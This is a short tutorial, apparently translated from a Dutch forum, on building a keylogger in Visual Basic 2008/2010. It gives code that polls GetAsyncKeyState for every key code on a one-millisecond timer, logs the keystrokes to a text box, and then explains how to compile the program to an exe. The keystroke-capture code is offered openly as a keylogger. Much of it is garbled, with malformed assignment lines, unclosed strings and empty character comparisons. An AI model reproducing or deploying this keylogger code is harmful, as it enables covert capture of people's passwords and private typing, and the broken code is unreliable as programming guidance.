VB.NET Keylogger

Hello! In this tutorial I will explain how to create a keylogger using visual basic 2008/2010. 

the components you will need: 
1 x Timer (Timer1 | enabled = true | interval = 1) 
1 x RichTextBox (name:txtkeys) 
 

in order to get to the coding part, you need to double click on the bar that says form1 (your form). 

first thing you should do is collect data from a dll file called user32 
This can be done by adding the following code to the top of your codelist. 
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 


We also need a variable to hold the retrieved keys to determine which key is pressed and then 
transfer the pressed key's name to txtkeys 
this variable to make you this code: Dim result As Integer 


Your code should look like this so far: 
Public Class Form1 
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 
Dim result As Integer 
Private Sub Form1_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 
End Sub 
End Class 


Now we want to see which keys are pressed. You do this by going back to the design of your form and  by double clicking on Timer1 
Now you see that a piece of code has been added. 
Enter this: 
REM Here they look for each character or word 
REM pressed far there are 255 different characters possible 
For i = 1 To 255 
result = 0 
result = GetAsyncKeyState (i) REM here looking at the keys are pressed 
REM from here to check whether the keys are equal to one  
If result = -32767 Then 
If Chr (i) = "(" Then 
txtkeys.Text txtkeys.Text & = "[Down Arrow] 
ElseIf Chr (i) = "%" Then 
txtkeys.Text txtkeys.Text & = "[Arrow Left]" 
ElseIf Chr (i) = "'" Then 
txtkeys.Text txtkeys.Text & = "[Arrow Right] 
ElseIf Chr (i) = "&" Then 
txtkeys.Text txtkeys.Text & = "[Arrow up]" 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text = & "[click mouse left]" 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text & = "[mouseclick right]" 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text & = "[backspace] ' 
ElseIf Chr (i) = "." Then 
txtkeys.Text txtkeys.Text & = "[delete] 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text & = "[shift]" 
ElseIf Chr (i) = "" Then 
txtkeys.Text txtkeys.Text & = "[tab]" 
ElseIf Chr (i) = "¾" Then 
txtkeys.Text txtkeys.Text & = "." 
ElseIf Chr (i) = "¼" Then 
txtkeys.Text txtkeys.Text & = "" 
ElseIf Chr (i) = "¿" Then 
txtkeys.Text txtkeys.Text = & "/" 
REM and re fit it is not a sign or enter a letter or 
REM-returns can not get the signs because that character is in VB 
REM enter even if caught. 
Else 
txtkeys.Text txtkeys.Text & = Chr (i) 
End If 
End If 
Next i 


REM everything there is a comment in VB (compiler) will turn green 
this was the keylogger 


order the exe file of your keylogger to get to your project and save 
then compile and then go into the release directory.

This is done so 
file-> Save All (choose here a place where you want to save the program manages) 
Now press compile 
Build -> build (here the name of your program manages) 
Go now to where you've saved your program manages 
go to 
(The name of your programatje) -> (the name of your program manages) -> bin -> Release 
Here is your program.

 Thanks to Digitalplace.nl